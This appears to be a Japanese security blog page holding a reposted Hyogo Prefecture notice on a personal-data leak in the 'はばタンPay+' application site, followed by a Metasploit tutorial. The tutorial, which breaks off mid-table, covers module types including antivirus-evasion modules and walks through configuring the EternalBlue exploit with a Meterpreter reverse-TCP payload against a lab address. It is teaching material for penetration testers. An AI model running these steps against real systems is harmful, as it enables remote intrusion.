【セキュリティ事件簿#2025-479】兵庫県 「はばタンPay+」子育て応援枠の申込受付における個人情報の漏えい 2025/10/23

 

「はばタンPay+」子育て応援枠の申込において、申込者の個人情報が申請サイト上において漏えいしたことが判明しました。これまでに把握できた事態の経緯と対応について、下記のとおりお知らせします。

県民の皆様の個人情報が流出したことについて、深くお詫び申し上げます。

また、はばタンPay+への申込が一時停止していることについて、ご不便をおかけしていることにつきましても、お詫び申し上げます。

情報漏えいの範囲など、引き続き詳細の把握に努め、原因究明の上、はばタンPay+の申込の早期復旧に努めるとともに、速やかに判明した内容を公表いたします。


漏えい事案の経緯

(1)経緯

令和7年10月23日9時より申込受付を開始しました、「はばタンPay+」子育て応援枠の申請において、申請サイト上で申請者本人ではなく別人の申請情報が表示される事例が発生しました。

取り急ぎ、事務局(委託事業者)に対して、「1.申込受付の停止」、「2.原因把握と障害の解消」、「3.アプリ上で利用者へのシステム障害の案内」を指示しました。


(2)漏えいした個人情報

・氏名、住所、生年月日、性別、電話番号、メールアドレス

・本人確認資料(マイナンバーカード※、免許証、保険証など)の画像

※利用者向けマニュアルや申請フォームの注意書きにおいて、マイナンバーカードは、マイナンバーカードは、マイナンバーの記載がない面をアップロードするよう案内しています。

・下記の情報については現在調査中です。

1.漏えい件数、2.特定個人情報(マイナンバー)や要配慮個人情報(障害・病歴等)の有無、3.復旧時期の目途等


今後の対応

(1)速やかに原因を把握し、「はばタンPay+」のアプリやホームページ上にお詫び記事を掲載する。

(2)判明した原因に応じた再発防止策を検討し、その徹底を図る。


参考

申込期間は、11月17日(月曜日)までです。先着順ではありませんので、システム復旧後、期間内のお手続きをお願いします。

リリース文アーカイブ

Kali Tools #010|Metasploit Framework:脆弱性診断を自動化する攻撃テスト基盤

 Metasploit の紹介

Metasploit は、最も広く使われているエクスプロイト・フレームワークです。Metasploitは、情報収集からエクスプロイト後まで、侵入テストのすべてのフェーズをサポートできる強力なツールです。

Metasploitには主に2つのバージョンがあります:

  • Metasploit Pro: タスクの自動化と管理を容易にする商用バージョン。このバージョンにはグラフィカル・ユーザー・インターフェース(GUI)があります。

  • Metasploit Framework:コマンドラインから動作するオープンソース版。今回は無料で使えるこちらをベースに進めます。

Metasploit Frameworkは、情報収集、スキャン、エクスプロイト、エクスプロイト開発、ポストエクスプロイトなどを可能にするツールのセットです。Metasploit Frameworkの主な用途は侵入テスト領域ですが、脆弱性調査やエクスプロイト開発にも役立ちます。

Metasploit Frameworkの主なコンポーネントをまとめると、以下のようになります;;

  • msfconsole: メインのコマンドラインインターフェイス。
  • Modules: エクスプロイト、スキャナ、ペイロードなどのサポートモジュール。
  • Tools: 脆弱性調査、脆弱性評価、侵入テストを支援するスタンドアロンツール。msfvenom、pattern_create、pattern_offsetなどがあります。

Metasploitの主な構成要素

Metasploit Framework を使用している間は、主に Metasploit コンソールを使用します。コンソールはmsfconsole コマンドを使って起動できます。コンソールは、Metasploit Framework の様々なモジュールと対話するための主要なインターフェースとなります。モジュールとは、Metasploit フレームワーク内の小さなコンポーネントで、脆弱性の利用、ターゲットのスキャン、ブルートフォース攻撃の実行など、特定のタスクを実行するために構築されています。

モジュールに入る前に、「脆弱性」、「エクスプロイト」、「ペイロード」という、今後頻繁に出てくる用語を整理しておきましょう。

  • エクスプロイト: ターゲット・システムに存在する脆弱性を利用するコードの一部。

  • 脆弱性: ターゲット・システムに影響を及ぼす設計、コーディング、ロジックの欠陥。脆弱性が悪用されると、機密情報が開示されたり、攻撃者がターゲット・システム上でコードを実行できるようになったりする。

  • ペイロード: ターゲットシステム上で実行されるコードのこと。

それぞれのモジュールとカテゴリを以下に示します。Metasploit コンソール (msfconsole) を使って操作することが可能です。


Auxiliary

scanners、crawlers、fuzzersなどのサポート・モジュールがあります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 auxiliary/
auxiliary/
├── admin
├── analyze
├── bnat
├── client
├── cloud
├── crawler
├── docx
├── dos
├── example.py
├── example.rb
├── fileformat
├── fuzzers
├── gather
├── parser
├── pdf
├── scanner
├── server
├── sniffer
├── spoof
├── sqli
├── voip
└── vsploit

21 directories, 2 files


Encoders 

Encoders は、シグネチャベースのアンチウイルスソリューションがそれらを見逃すことを期待して、エクスプロイトとペイロードをエンコードすることを可能にします。

シグネチャベースのアンチウイルスおよびセキュリティソリューションには、既知の脅威のデータベースがあります。疑わしいファイルをこのデータベースと比較することで脅威を検出し、一致した場合に警告を発します。ウイルス対策ソリューションが追加のチェックを行うことができるため、エンコーダの成功率は限られたものになります。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 encoders/
encoders/
├── cmd
├── generic
├── mipsbe
├── mipsle
├── php
├── ppc
├── ruby
├── sparc
├── x64
└── x86

11 directories, 0 files

Evasion

エンコーダーはペイロードをエンコードしますが、アンチウイルスソフトを回避する直接的な試みとはみなされるべきではありません。一方、「evasion(回避)」モジュールは、多かれ少なかれそれを試みます。

$ cd /usr/share/metasploit-framework/modules | tree -L 2 evasion/
evasion/
└── windows
    ├── applocker_evasion_install_util.rb
    ├── applocker_evasion_msbuild.rb
    ├── applocker_evasion_presentationhost.rb
    ├── applocker_evasion_regasm_regsvcs.rb
    ├── applocker_evasion_workflow_compiler.rb
    ├── process_herpaderping.rb
    ├── syscall_inject.rb
    ├── windows_defender_exe.rb
    └── windows_defender_js_hta.rb

2 directories, 9 files

Exploits

標的となるシステムごとに整理されています。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 exploits/
exploits/
├── aix
├── android
├── apple_ios
├── bsd
├── bsdi
├── dialup
├── example_linux_priv_esc.rb
├── example.py
├── example.rb
├── example_webapp.rb
├── firefox
├── freebsd
├── hpux
├── irix
├── linux
├── mainframe
├── multi
├── netware
├── openbsd
├── osx
├── qnx
├── solaris
├── unix
└── windows

21 directories, 4 files

NOPs

NOPs(No OPeration)は文字通り何もしません。インテルx86 CPUファミリでは0x90で表され、これ以降CPUは1サイクルの間何もしません。ペイロードサイズを一定にするためのバッファとしてよく使われます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 nops/
nops/
├── aarch64
├── armle
├── cmd
├── mipsbe
├── php
├── ppc
├── sparc
├── tty
├── x64
└── x86

11 directories, 0 files

Payloads

ペイロードとは、ターゲット・システム上で実行されるコードのことで す。

エクスプロイトはターゲットシステムの脆弱性を活用しますが、望ましい結果を得るためにはペイロードが必要です。例えば、シェルの取得、ターゲットシステムへのマルウェアやバックドアのロード、コマンドの実行、侵入テストレポートに追加する概念実証としてのcalc.exeの起動などが考えられます。calc.exeアプリケーションを起動することで、ターゲットシステム上で電卓をリモートで起動することは、ターゲットシステム上でコマンドを実行できることを示す良性の方法です。

ターゲットシステム上でコマンドを実行することは既に重要なステップですが、ターゲットシステム上で実行されるコマンドを入力できる対話型接続を持つことは、より良いことです。このような対話型のコマンドラインは「シェル」と呼ばれます。Metasploit は、ターゲットシステム上でシェルを開くことができる様々なペイロードを送信する機能を提供します。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 payloads/
payloads/
├── adapters
├── singles
├── stagers
└── stages

5 directories, 0 files

payloadsの下に、adapters、singles、stagers、stagesの4つの異なるディレクトリがあります。

  • Adapters: adapter は単一のペイロードをラップして、異なる形式に変換します。例えば、通常のシングルペイロードはPowershell adapterの中にラップすることができ、これによりペイロードを実行する単一のpowershellコマンドが作成されます。

  • Singles: 実行するために追加のコンポーネントをダウンロードする必要のない、自己完結型のペイロード(ユーザーの追加、notepad.exe の起動など)。

  • Stagers: Metasploitとターゲットシステム間の接続チャネルを設定します。ステージングされたペイロードを扱うときに便利です。「ステージングされたペイロード」は、まずターゲットシステム上にstagerをアップロードし、その後ペイロードの残りの部分(stage)をダウンロードします。これにより、ペイロードの初期サイズが一度に送信される完全なペイロードに比べて比較的小さくなるため、いくつかの利点があります。

  • Stage : stagerによってダウンロードされる。これにより、より大きなサイズのペイロードを使用できるようになります。

Post

Post モジュールは、上記の侵入テスト・プロセスの最終段階である「侵入後」に役立ちます。

$ cd /usr/share/metasploit-framework/modules | tree -L 1 post/
post/
├── aix
├── android
├── apple_ios
├── bsd
├── firefox
├── hardware
├── linux
├── multi
├── networking
├── osx
├── solaris
└── windows

13 directories, 0 files

Msfconsole

前述したように、コンソールは Metasploit Framework へのメインインターフェイスになります。Metasploit Frameworkがインストールされたシステム上でmsfconsoleコマンドを使って起動することができます。

$ msfconsole
Metasploit tip: Enable HTTP request and response logging with set HttpTrace
true

                          ########                  #
                      #################            #
                   ######################         #
                  #########################      #
                ############################
               ##############################
               ###############################
              ###############################
              ##############################
                              #    ########   #
                 ##        ###        ####   ##
                                      ###   ###
                                    ####   ###
               ####          ##########   ####
               #######################   ####
                 ####################   ####
                  ##################  ####
                    ############      ##
                       ########        ###
                      #########        #####
                    ############      ######
                   ########      #########
                     #####       ########
                       ###       #########
                      ######    ############
                     #######################
                     #   #   ###  #   #   ##
                     ########################
                      ##     ##   ##     ##
                            https://metasploit.com


       =[ metasploit v6.4.18-dev                          ]
+ -- --=[ 2437 exploits - 1255 auxiliary - 429 post       ]
+ -- --=[ 1468 payloads - 47 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 >

起動すると、コマンドラインが msf6 (インストールされている Metasploit のバージョンによっては msf5) に変わるのがわかるでしょう。Metasploitコンソール(msfconsole)は、以下のように通常のコマンドラインシェルと同じように使うことができます。最初のコマンドは ls で、msfconsole コマンドを使って Metasploit を起動したフォルダの中身を一覧表示します。

続いて、GoogleのDNS IPアドレス(8.8.8.8)にpingを送信します。-c 1オプションを追加しないと、CTRL+Cで停止するまでpingプロセスが続きます。

msf6 > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 > ping -c 1 8.8.8.8
[*] exec: ping -c 1 8.8.8.8

PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=108 time=95.3 ms

--- 8.8.8.8 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 95.286/95.286/95.286/0.000 ms
msf6 >

これは、clear(ターミナル画面をクリアする)を含むほとんどのLinuxコマンドをサポートしますが、以下のように、通常のコマンドラインのいくつかの機能を使用することはできません(例えば、出力のリダイレクトをサポートしていません)。

msf6 > help > help.txt
[-] No such command
msf6 >

ちなみに、helpコマンドは単独で使うことも、特定のコマンドに対して使うこともできます。以下は、これから取り上げるセットコマンドのヘルプメニューで す。

msf6 > help set
Usage: set [options] [name] [value]

Set the given option to value.  If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore.  Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from `show payloads'.

OPTIONS:

    -c, --clear   Clear the values, explicitly setting to nil (default)
    -g, --global  Operate on global datastore variables
    -h, --help    Help banner.

msf6 >

history コマンドを使えば、以前に入力したコマンドを見ることができます。

msf6 > history
1   search smtp_version
・
・
・
59  show options
60  quit
61  ls
62  ping -c 1 8.8.8.8
63  help > help.txt
64  help set
65  history
msf6 >

msfconsole の重要な機能は、タブ補完のサポートです。これは後で Metasploit コマンドを使ったり、モジュールを扱ったりするときに便利です。例えば、「he」と入力し始め、タブキーを押すと、自動で補完されるのがわかります。

Msfconsoleはコンテキストで管理されます。つまり、グローバル変数として設定しない限り、使用するモジュールを変更すると、すべてのパラメータ設定が失われます。以下の例では、ms17_010_eternalblueエクスプロイトを使用し、RHOSTSなどのパラメータを設定しています。別のモジュール(ポートスキャナーなど)に切り替えた場合、行ったすべての変更がms17_010_eternalblue exploitのコンテキストに残るため、RHOSTS値を再度設定する必要があります。

この機能をよりよく理解するために、以下の例を見てみましょう。ここでは、説明のためにMS17-010「Eternalblue」エクスプロイトを使用します。

use exploit/windows/smb/ms17_010_eternalblueコマンドを入力すると、コマンド・ライン・プロンプトがmsf6から「msf6 exploit(windows/smb/ms17_010_eternalblue)」に変わるのがわかります。「EternalBlue」は、米国家安全保障局(N.S.A.)が開発したとされるエクスプロイトで、多数のWindowsシステム上のSMBv1サーバーに影響する脆弱性です。SMB(Server Message Block)は、ファイル共有やプリンターへのファイル送信など、Windowsネットワークで広く使われています。EternalBlueは2017年4月にサイバー犯罪者グループ「Shadow Brokers」によってリークさ れました。2017年5月、この脆弱性はWannaCryランサムウェア攻撃において世界中で悪用されました。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

使用するモジュールは、useコマンドの後に検索結果の行頭の番号を続けて入力しても選択できます。

プロンプトは変わりましたが、以前紹介したコマンドはまだ実行できることにお気づきでしょう。これは、オペレーティング・システムのコマンドラインで通常期待されるように、フォルダを「入力」していないことを意味します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > ls
[*] exec: ls

auxiliary  encoders  evasion  exploits  nops  payloads  post  README.md
msf6 exploit(windows/smb/ms17_010_eternalblue) >

プロンプトが、これから作業するコンテキストが設定されたことを教えてくれます。これは、show optionsコマンドを入力することで確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

これは、先に選択したエクスプロイトに関連するオプションを表示するものです。show optionsコマンドは、使用するコンテキストによって出力が異なります。上記の例では、このエクスプロイトではRHOSTSやRPORTなどの変数を設定する必要があることを示しています。

showコマンドは、モジュールの種類(auxiliary、payload、exploitなど)の後に続けて、利用可能なモジュールを一覧表示する任意のコンテキストで使用できます。以下の例では、ms17-010 Eternalblueエクスプロイトで使用できるペイロードを一覧表示しています。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                              .                normal  No     Custom Payload
   1   payload/generic/shell_bind_aws_ssm                  .                normal  No     Command Shell, Bind SSM (via AWS API)
   2   payload/generic/shell_bind_tcp                      .                normal  No     Generic Command Shell, Bind TCP Inline
  ・
  ・
  ・
   71  payload/windows/x64/vncinject/reverse_tcp_uuid      .                normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   72  payload/windows/x64/vncinject/reverse_winhttp       .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   73  payload/windows/x64/vncinject/reverse_winhttps      .                normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

msf6 exploit(windows/smb/ms17_010_eternalblue) >

msfconsole プロンプトから使用すると、show コマンドはすべてのモジュールを一覧表示します。

これまで見てきたuseとshow optionsコマンドは、Metasploitのすべてのモジュールで同じです。

backコマンドを使えば、コンテキストから抜けることができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 >

モジュールの詳細情報は、そのモジュールのコンテキスト内でinfoコマンドをタイプすることで得られます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > info

       Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
     Module: exploit/windows/smb/ms17_010_eternalblue
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2017-03-14

Provided by:
  Equation Group
  Shadow Brokers
  sleepya
  Sean Dillon <sean.dillon@risksense.com>
  Dylan Davis <dylan.davis@risksense.com>
  thelightcosine
  wvu <wvu@metasploit.com>
  agalway-r7
  cdelafuente-r7
  cdelafuente-r7
  agalway-r7

Available targets:
      Id  Name
      --  ----
  =>  0   Automatic Target
      1   Windows 7
      2   Windows Embedded Standard 7
      3   Windows Server 2008 R2
      4   Windows 8
      5   Windows 8.1
      6   Windows Server 2012
      7   Windows 10 Pro
      8   Windows 10 Enterprise Evaluation

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                            sing-metasploit.html
  RPORT          445              yes       The target port (TCP)
  SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Serv
                                            er 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  SMBPass                         no        (Optional) The password for the specified username
  SMBUser                         no        (Optional) The username to authenticate as
  VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server 2
                                            008 R2, Windows 7, Windows Embedded Standard 7 target machines.
  VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Wi
                                            ndows 7, Windows Embedded Standard 7 target machines.

Payload information:
  Space: 2000

Description:
  This module is a port of the Equation Group ETERNALBLUE exploit, part of
  the FuzzBunch toolkit released by Shadow Brokers.

  There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
  is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
  DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
  is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
  completed in srvnet!SrvNetWskReceiveComplete.

  This exploit, like the original may not trigger 100% of the time, and should be
  run continuously until triggered. It seems like the pool will get hot streaks
  and need a cool down period before the shells rain in again.

  The module will attempt to use Anonymous login, by default, to authenticate to perform the
  exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
  those instead.

  On some systems, this module may cause system instability and crashes, such as a BSOD or
  a reboot. This may be more likely with some payloads.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://nvd.nist.gov/vuln/detail/CVE-2017-0145
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://nvd.nist.gov/vuln/detail/CVE-2017-0148
  https://github.com/RiskSense-Ops/MS17-010
  https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
  https://www.exploit-db.com/exploits/42030

Also known as:
  ETERNALBLUE


View the full module info with the info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

あるいは、msfconsoleのプロンプトから、infoコマンドの後にモジュールのパスを続けて使うこともできます(例:info exploit/windows/smb/ms17_010_eternalblue)。info はヘルプメニューではありません。作者や関連するソースなど、モジュールの詳細情報が表示されます。

検索

msfconsole で最も便利なコマンドのひとつに search があります。このコマンドは Metasploit Framework のデータベースから、指定された検索パラメータに関連するモジュールを検索します。CVE 番号、エクスプロイト名(eternalblue、heartbleed など)、ターゲットシステムを使用して検索を行うことができます。

msf6 > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 >

検索コマンドの出力は、返された各モジュールの概要を提供します。name "カラムに、モジュール名以上の情報がすでに示されていることにお気づきでしょう。モジュールのタイプ(auxiliary、exploitなど)や、モジュールのカテゴリ(scanner、admin、windows、Unixなど)がわかります。検索結果で返されたモジュールは、コマンド use の後に、結果の行の先頭に番号を付けて使用することができます。(例:use auxiliary/admin/smb/ms17_010_commandの代わりに0を使用)

タイプやプラットフォームなどのキーワードで検索機能を指示することもできます。

例えば、検索結果に補助モジュールだけを含めたい場合は、typeをauxiliaryに設定します。以下のスクリーンショットは、search type:auxiliary telnetコマンドの出力を示しています。


msf6 > search type:auxiliary telnet

Matching Modules
================

   #   Name                                                              Disclosure Date  Rank    Check  Description
   -   ----                                                              ---------------  ----    -----  -----------
   0   auxiliary/server/capture/telnet                                   .                normal  No     Authentication Capture:
 Telnet
   1   auxiliary/scanner/telnet/brocade_enable_login                     .                normal  No     Brocade Enable Login Check Scanner
   2   auxiliary/dos/cisco/ios_telnet_rocem                              2017-03-17       normal  No     Cisco IOS Telnet Denial of Service
   3   auxiliary/admin/http/dlink_dir_300_600_exec_noauth                2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   4   auxiliary/scanner/ssh/juniper_backdoor                            2015-12-20       normal  No     Juniper SSH Backdoor Scanner
   5   auxiliary/scanner/telnet/lantronix_telnet_password                .                normal  No     Lantronix Telnet Password Recovery
   6   auxiliary/scanner/telnet/lantronix_telnet_version                 .                normal  No     Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                      2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06       normal  Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset                     2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce   2021-04-21       normal  Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                         .                normal  No     RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                           2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   13  auxiliary/scanner/telnet/telnet_login                             .                normal  No     Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                           .                normal  No     Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                  .                normal  No     Telnet Service Encryption Key ID Overflow Detection


Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 >

エクスプロイトはターゲットシステムの脆弱性を利用するものであり、常に予期せぬ挙動を示す可能性があります。低ランクのエクスプロイトが完璧に動作することもあれば、優秀なランクのエクスプロイトが動作しなかったり、最悪ターゲットシステムをクラッシュさせたりすることもあります。

モジュールを使う

先ほど見たように、useコマンドにモジュール名を続けて使ってモジュールのコンテキストに入ったら、パラメータを設定する必要があります。最も一般的なパラメータを以下に示します。使用するモジュールによっては、追加または異なるパラメーターを設定する必要があることを忘れないでください。show optionsコマンドを使って、必要なパラメーターをリストアップするのがよい方法です。

すべてのパラメータは同じコマンド構文で設定されます:

set PARAMETER_NAME VALUE

先に進む前に、常にmsfconsoleプロンプトをチェックして、正しいコンテキストにいることを確認してください。Metasploitを扱うとき、5つの異なるプロンプトが表示されるかも しれません。

  • 通常のコマンドプロンプト: ここではMetasploitコマンドは使えません。

─$

  • msfconsole プロンプト: msf6 (インストールされているバージョンによっては msf5) が msfconsole プロンプトです。見てわかるように、ここではコンテキストが設定されていないので、パラメータを設定したりモジュールを実行したりするコンテキスト固有のコマンドはここでは使えません。

msf6 >

  • コンテキストプロンプト: モジュールの使用を決定し、set コマンドを使ってモジュールを選択すると、msfconsole はコンテキストを表示します。ここでコンテキスト固有のコマンド(例えば set RHOSTS 10.10.x.x)を使うことができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

  • Meterpreterプロンプト: 後程説明する重要なペイロードです。これは、Meterpreterエージェントがターゲットシステムにロードされ、接続されたことを意味します。ここではMeterpreter固有のコマンドを使うことができる。

meterpreter >

  • ターゲット・システム上のシェル: エクスプロイトが完了すると、ターゲット・システム上のコマンド・シェルにアクセスできるようになります。これは通常のコマンドラインであり、ここで入力されたコマンドはすべてターゲットシステム上で実行されます。

C:\Windows\system32>

前述したように、show optionsコマンドは利用可能なパラメーターをすべてリストアップします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

上のスクリーンショットにあるように、これらのパラメータの中には、エクスプロイトが機能するために値が必要なものがあります。いくつかの必要なパラメータ値は事前に入力されていますが、ターゲットに対してこれらが同じままであるべきかを確認してください。例えば、WebエクスプロイトではRPORT(リモートポート:Metasploitが接続を試み、エクスプロイトを実行するターゲットシステムのポート)の値が80にプリセットされている可能性がありますが、ターゲットのWebアプリケーションは8080ポートを使用している可能性があります。

この例では、setコマンドを使ってRHOSTSパラメーターにターゲット・システムのIPアドレスを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.165.39     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
